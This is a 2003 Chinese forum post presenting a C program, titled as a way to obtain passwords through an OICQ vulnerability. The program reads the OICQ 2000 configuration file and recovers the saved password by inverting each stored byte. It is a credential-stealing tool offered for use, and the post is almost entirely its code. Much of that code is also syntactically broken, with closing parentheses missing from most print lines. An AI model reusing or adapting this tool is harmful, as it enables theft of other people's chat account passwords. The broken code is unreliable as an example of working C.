  
- 帖子
- 1436
- 积分
- 1436
- 经验
- 1436 点
- 威望
- 43 点
- 金钱
- 2139 NG
- 魅力
- 2055
- 性别
- 男
- 来自
- 日本
- 注册时间
- 2003-5-15
我们约会吧!
|
1#
发表于 2003-6-1 14:35
| 只看该作者
【原创】利用OICQ漏洞获取密码
#include "stdio.h"
main() {
int mode,num,passbit,passbit2;
char ch,passfile[50];
FILE *fp;
printf("OICQ PASSWD Hacker by analysist\n" ;
printf("Welcome to Visit http://www.china4lert.org/\n\n " ;
printf("Pls Select the Hack Mode:\n" ;
printf("1.Static Mode\n" ;
printf("2.Dynamic Mode\n\n" ;
printf("Choice: " ;
scanf("%d",&mode);
if (mode == 1) {
strcpy(passfile,"C:\\Progra~1\\Oicq\\dat\\oicq2000.cfg" ;
}
else {
printf("Pls Enter the Passfile Location:\n" ;
scanf("%s",&passfile);
}
if ((fp=fopen(passfile,"r" )==NULL) {
printf("File not Found!\n" ;
exit(0);
}
printf("\n");
printf("Your PASSWD is:");
fseek(fp,4L,0);
ch=fgetc(fp);
passbit=(int)ch;
fseek(fp,3L,1);
for (num=0;num<passbit;num++) {
ch=fgetc(fp);
passbit2=(0xff-ch);
printf("%c",passbit2);
}
} |
|